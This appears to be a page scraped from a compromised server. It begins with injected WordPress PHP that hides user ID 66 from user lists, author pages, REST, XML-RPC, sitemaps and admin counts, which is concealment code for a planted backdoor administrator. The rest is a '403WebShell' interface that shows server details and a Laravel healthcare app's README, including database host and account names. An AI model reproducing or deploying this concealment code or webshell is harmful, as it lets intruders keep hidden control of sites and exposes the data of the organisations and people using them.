add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/README.md
# Emaji - Healthcare Organization Platform

Laravel-based platform for healthcare organizations (hospitals, clinics, training providers) to post jobs and manage qualifications.

## Quick Start

```bash
# Install dependencies
composer install

# Copy environment file
cp .env.example .env

# Configure database in .env
DB_HOST=iu6h.your-database.de
DB_DATABASE=emaji_db36
DB_USERNAME=relevy_36
DB_PASSWORD=your_password

# Run migrations
php artisan migrate

# Start development server
php artisan serve
```

## Project Overview

### Two Apps, One Database

**Emaji** (this app) and **Emajiwallet** (separate repo) share a MariaDB database but use separate user tables:

| App | User Table | Purpose |
|-----|-----------|---------|
| **Emaji** | `organization_users` | Organization staff accounts |
| **Emajiwallet** | `users` | Healthcare worker accounts |

## Documentation

📖 **[ARCHITECTURE.md](ARCHITECTURE.md)** - Complete system architecture, database structure, relationships
📝 **[CHANGES.md](CHANGES.md)** - Detailed change log, migration guide, breaking changes
👋 **[README.md](README.md)** - This file (quick start guide)

## Key Features

- **Organization Management** - Register and manage healthcare organizations
- **Job Posting** - Create and manage job postings
- **Profession Management** - Define healthcare professions and requirements
- **Qualification Tracking** - Manage required qualifications and certifications
- **Training Programs** - List training courses and sessions

## Authentication

### Organization Registration
```
GET  /register/org  → Show registration form
POST /register/org  → Create organization + admin user
```

### Login
```
GET  /login   → Email + password login
POST /logout  → Logout
```

## Main Routes

| Route | Description | Auth Required |
|-------|-------------|---------------|
| `/` | Landing page | No |
| `/login` | Login form | No |
| `/register/org` | Organization registration | No |
| `/employer/jobs` | Job management | Yes |
| `/jobs/create` | Create job | Yes |
| `/jobs/{job}/edit` | Edit job | Yes |

## Tech Stack

- **Framework:** Laravel 11.x
- **PHP:** 8.2+
- **Database:** MariaDB 10.11+
- **Authentication:** Laravel's built-in auth with `organization_users` table

## Development

### Common Commands

```bash
# Clear caches
php artisan config:clear && php artisan cache:clear

# Check migrations
php artisan migrate:status

# Create migration
php artisan make:migration create_something_table

# Create model
php artisan make:model ModelName

# Run tests
php artisan test
```

### Quick Examples

**Create Organization User:**
```php
use App\Models\OrganizationUser;

$user = OrganizationUser::create([
    'name' => 'John Doe',
    'email' => 'john@hospital.com',
    'password' => 'secret123',
]);
```

**Create Job:**
```php
use App\Models\Job;

$job = Job::create([
    'uuid' => (string) Str::uuid(),
    'organization_id' => $org->id,
    'profession_id' => $profession->id,
    'title' => 'Registered Nurse',
    'status' => 1,
]);
```

## Guidelines

### ✅ DO:
- Use `OrganizationUser` model for auth
- Access `organizations`, `jobs`, `professions`, `qualifications` tables
- Read from shared reference data

### ❌ DON'T:
- Access `users` table (reserved for emajiwallet)
- Access wallet tables (`user_credentials`, `pathways`, etc.)
- Use old `User` model

## Troubleshooting

**"Class 'User' not found"**
→ Replace with `OrganizationUser`

**"Table 'users' doesn't exist"**
→ Check `config/auth.php` uses `organization_users` provider

**Login fails**
→ Run `php artisan config:clear && php artisan cache:clear`

## Requirements

- PHP 8.2+
- Composer
- MySQL/MariaDB 10.11+
- Node.js & NPM

## Environment

```env
APP_NAME=Emaji
DB_CONNECTION=mysql
DB_HOST=iu6h.your-database.de
DB_DATABASE=emaji_db36
MAIN_DOMAIN=emaji.test
```

---

**Version:** 2.0.0
**Last Updated:** November 24, 2025
**Framework:** Laravel 11.x

Youez - 2016 - github.com/yon3zu
LinuXploit